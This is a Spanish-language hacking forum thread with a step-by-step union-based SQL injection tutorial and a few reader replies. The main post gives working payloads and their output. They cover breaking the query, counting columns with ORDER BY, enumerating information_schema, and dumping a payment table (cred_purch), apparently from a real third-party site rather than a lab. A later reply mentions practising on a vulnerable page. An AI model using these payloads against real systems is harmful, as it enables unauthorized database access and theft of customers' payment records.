Union based SQL Inyeccion

Iniciado por arthusu, Julio 31, 2013, 02:58:34 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Causar Error

'
)
\
"

Entendiendo la consulta:

Error performing query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''967''' at line 1

select * from tabla where id='967'  -- - ' <-- lo que viene despues de -- es ignorado

Tipos de comentarios:


--
#
/**/

Tipo de inyeccion:

Este tipo de SQL inyeccion es de tipo String o cadena
Tambien existe la de tipo integer o entero. ¿Como sabemos que es string o integer?

simplemente por que tiene '967' esta encerrado entre comillas esta declarado como cadena y cuando agregamos -- - se soluciona es de tipo string :)

Encontrando las columnas:

Vamos a utilizar la clausula ORDER BY para detectar el numero de columnas....

ORDER BY 1 <--- La primera columna existe? SI!

Como no arroja error si existe :)

ORDER BY 10 <--- Existen 10 Columnas? NO

Error performing query: Unknown column '10' in 'order clause'

ORDER BY 5 <-- Existe la columna 5? NO
Error performing query: Unknown column '5' in 'order clause'

ORDER BY 4 <-- Existe la columna 4? NO
Error performing query: Unknown column '4' in 'order clause'

ORDER BY  3 <--- Existe la columna 3? SI

Entonces son 3 columnas :)

Ahora vamos a unir la consulta con la mia que seria mas o menos asi:


select columna1,columna2,columna3 from tabla where id='967' Union Select 1,2,3  -- - '

Esos campos 1 2 y 3 que se muestran son vulnerables y podemos inyectar codigo SQL dentro de ellos. :D

Search the document '1' , 2 - 3.

Funciones basicas:

database() - Arroja la base de datos actual con la que esta trabajando la DB
version() - Arroja la version de  la base de datos
user() - Arroja el usuario actual
concat() - concatenamos (unimos) datos
group_concat() - concatena los datos pero solo 1024 bytes que seria un MB si se pasa corta y no llega
concat_ws() - Funciona igual que concat solo que al inicio lleva un separador

Consulta actual:

select columna1,columna2,columna3 from tabla where id='967'  union select concat(version(),0x7e,database(),0x7e,user()),2,3 -- -

Search the document '5.5.30~genhou5_genhound~genhou5_genhound@localhost' , 2 - 3.

Sacar datos:

Las versiones mayores o iguales a 5 tienen una base de datos de metadatos llamada information_schema
Con la cual puedes sacar los datos de otras bases de datos XD :P

TABLE_NAME -> en esta columna estan los nombres de la tabla
COLUMN_NAME -> en esta columna se encuentran los nombres de las columnas
SCHEMA_NAME -> en esta columna se encuentran los nombres de las bases de datos

TABLES -> en esta tabla se encuentran las tablas
COLUMNS -> en esta tabla se encuentran las columnas
SCHEMATA -> en esta tabla se encuenran las dbs

Sacaremos las tablas de la base de datos actual:

select columna1,columna2,columna3 from tabla where id='967'  union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database() -- -'

tablas:
cred_purch,datatype_look,gh_country,gh_data,gh_
descr_ctry,gh_description,gh_desr_region,gh_merchant,gh_my,
gh_notify,gh_problem,gh_region,gh_register,gh_saved,gh_search,gh_worldloc,info_link,
paypal_payment_info


Sacaremos las columnas de la tabla cred_purch:

select columna1,columna2,columna3 from tabla where id='967'  union select group_concat(column_name),2,3 from information_schema.columns where table_name='cred_purch' -- -'

Columnas:
purch_id,reg_id,credits,amount,time,ptype,notes,txnid,paymentstatus,ppipn

Sacaremos los datos :3

select columna1,columna2,columna3 from tabla where id='967'  union select concat_ws(0x7e,purch_id,reg_id,credits,amount,time,ptype,notes,txnid,paymentstatus,ppipn),2,3 from cred_purch  -- -'

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
?id=967967'  union select concat_ws(0x7e,purch_id,reg_id,credits,amount,time,ptype,notes,txnid,paymentstatus,ppipn),2,3 from cred_purch  -- -'

Finished Class xD !

Alumnati:
Los quito por cuestiones de que no quiero q vean xD

Salu2 espero que les guste auque sea un poco simple :P
Pentest - Hacking & Security Services

Contact me: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No entiendo :/
lo de select columna1,columna2,columna3 from tabla where id='967' Union Select 1,2,3  -- - ' ya no lo entendí
Tengo una pagina vulnerable, la estoy usando como practica jajaja, pero no entiendo eso.
Saludos
Tener éxito no es aleatorio, es una variable dependiente del esfuerzo.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No entiendo :/
lo de select columna1,columna2,columna3 from tabla where id='967' Union Select 1,2,3  -- - ' ya no lo entendí
Tengo una pagina vulnerable, la estoy usando como practica jajaja, pero no entiendo eso.
Saludos

Significa como es que esta formada la consulta en realidad por dentro, siempre que estes haciendo una inyeccion sql necesitas imaginar como el programador, en este caso para usar UNION siempre se deben usar el mismo numero de columnas en este caso 3 de esa manera la union estara realizada correctamente, si no te arroja un error The used SELECT statements have a different number of columns :) saludos
Pentest - Hacking & Security Services

Contact me: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No entiendo :/
lo de select columna1,columna2,columna3 from tabla where id='967' Union Select 1,2,3  -- - ' ya no lo entendí
Tengo una pagina vulnerable, la estoy usando como practica jajaja, pero no entiendo eso.
Saludos

Significa como es que esta formada la consulta en realidad por dentro, siempre que estes haciendo una inyeccion sql necesitas imaginar como el programador, en este caso para usar UNION siempre se deben usar el mismo numero de columnas en este caso 3 de esa manera la union estara realizada correctamente, si no te arroja un error The used SELECT statements have a different number of columns :) saludos
Ese error me  brotaba muy seguido, pero sigo sin entender, ¿debes poner 'columna1,columna2,columna3'?, o es algún ejemplo?. :s
Tener éxito no es aleatorio, es una variable dependiente del esfuerzo.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No entiendo :/
lo de select columna1,columna2,columna3 from tabla where id='967' Union Select 1,2,3  -- - ' ya no lo entendí
Tengo una pagina vulnerable, la estoy usando como practica jajaja, pero no entiendo eso.
Saludos

Significa como es que esta formada la consulta en realidad por dentro, siempre que estes haciendo una inyeccion sql necesitas imaginar como el programador, en este caso para usar UNION siempre se deben usar el mismo numero de columnas en este caso 3 de esa manera la union estara realizada correctamente, si no te arroja un error The used SELECT statements have a different number of columns :) saludos
Ese error me  brotaba muy seguido, pero sigo sin entender, ¿debes poner 'columna1,columna2,columna3'?, o es algún ejemplo?. :s

Se refiere a  columna1,columna2,columna3 : 1,2,3

Sal2
Passion informatic.